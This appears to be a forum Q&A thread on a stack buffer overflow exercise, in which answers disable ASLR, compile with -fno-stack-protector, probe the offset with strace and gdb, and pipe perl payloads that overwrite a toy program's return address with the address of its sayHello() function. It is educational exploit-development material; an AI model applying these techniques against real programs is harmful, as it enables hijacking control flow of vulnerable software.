Problems with overflowing the return address on stack x86_64

Question

To note before compiling the program I disabled ASLR via:

$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space 
root@laptop:~# exit
logout

I then compiled the program via:

gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c

(I also didnt understand the -mpreferred-stack-boundary=4 parameter)

I have a program :

The overflow in theory should occur when the compiler gets to the line of gets(buff); where I have been attempting to overflow the return address ($RIP).

Below is the disassembly of my main method, getInput() and sayHello() (for the purpose of showing the address of the sayHello method, 0x4005d, which I hope to overwrite the stack RIP with).

When I give an input of above 15 x A's I segfault the program. And when I provide more than 24 x A's I begin to overwrite the $RIP, i.e. 25 x A's would make the RIP value 0x0000000000400041. Logically, I tried to then provide the hex values for "4005dc" (sayHello() address) however I fail when attempting that. When using online hex to text converters, the corresponding text value I get from "4005dc" is "@Ü".

More so I understand that when the program reached the retq instruction within getInput() it will pop the return address of the top of the stack and jump to it.

Answer 1

x86 SOLUTION ONLY: (see comments)

If I got your task right, you have to overflow the function pointer for sayHello.

Hence, the first task is to identify that functions address.

nm test | grep sayHello

In my case this was the result

0804844b T sayHello

So I have to overwrite the return address (RET) of getInput() with 0x0804844b. Now you can either identify via gdb how far away from RET the buffer buff is located. I have chosen a different approach, since it was quite obvious what range it will be. Therefore my next step was to identify the amount of data to put into buff to over write RET. This is done using the following command which will enter a string of 'A' repeated 28 times when the program waits for input (gets()):

perl -e 'print "A"x28' | strace -i test

and looked for such a line to appear in the end:

[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---

Next, I have reduced the number of 28 to 24 and printed four times B to see whether the address in the output above changes to [42424242] - it didn't, so I reduced 24 to 20 and checked again.

perl -e 'print "A"x20; print "BBBB"' |strace -i ./test

[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

BINGO

The last step is to replace BBBB with the address (little-endian).

perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' | ./test

and the output was:

4\x04\x08"' |  ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)

I have successfully overwritten RET with the address of sayHello().

With that off the chest, let's have a look at your compilation string question.

-mpreferred-stack-boundary=4 man gcc is very helpful here. You tell gcc with this parameter to keep the stack boundary aligned to 2^4 (16 Byte). If you want to have it at 16 Byte, you can leave the parameter since this is default.

However, I have also used the parameter -fno-stack-protector. With this I tell the compiler to not add extra code for checking buffer overflow. If you leave that out, you won't be able to exploit your test binary.

Answer 2

x86_64 SOLUTION:

Sorry again for my ignorance in the first reply, had my mind drifting off...

But it's actually not that different, here step-by-step how I solved this.

1) Source Code Compilation:

$ gcc -fno-stack-protector -o vuln vuln.c

Note: I renamed the executable to vuln instead of test, just something I like to order my filesystem.

2) Identify ADDR of sayHello():

$ nm vuln | grep sayHello
00000000004005bd T sayHello

So the ADDR of sayHello is 0x0000004005bd we need to overwrite RIP with that value before getInput() returns.

3) Identify the Location of RET_ADDR to be Overwritten by ADDR:

Similar to the x86 solution, we need to identify how many times we can pass 'A' (or any other char) that the value is stored in RET_ADDR's location. GDB is your friend here, especially with peda. You can find an excellent example here.

In my case it was 24 bytes => perl -e 'print "A"x24'

4) Craft Payload to Overwrite RET_ADDR:

This is the perl command, whose result is fed into the gets() call.

perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"'

The second print inside the perl command is used to pass the ADDR of sayHello() in little-endian.

5) PIPE Command from (4) to the Program:

$ perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"' | ./vuln
AAAAAAAAAAAAAAAAAAAAAAAA�@
DONENENNE!!!!
Segmentation fault (core dumped)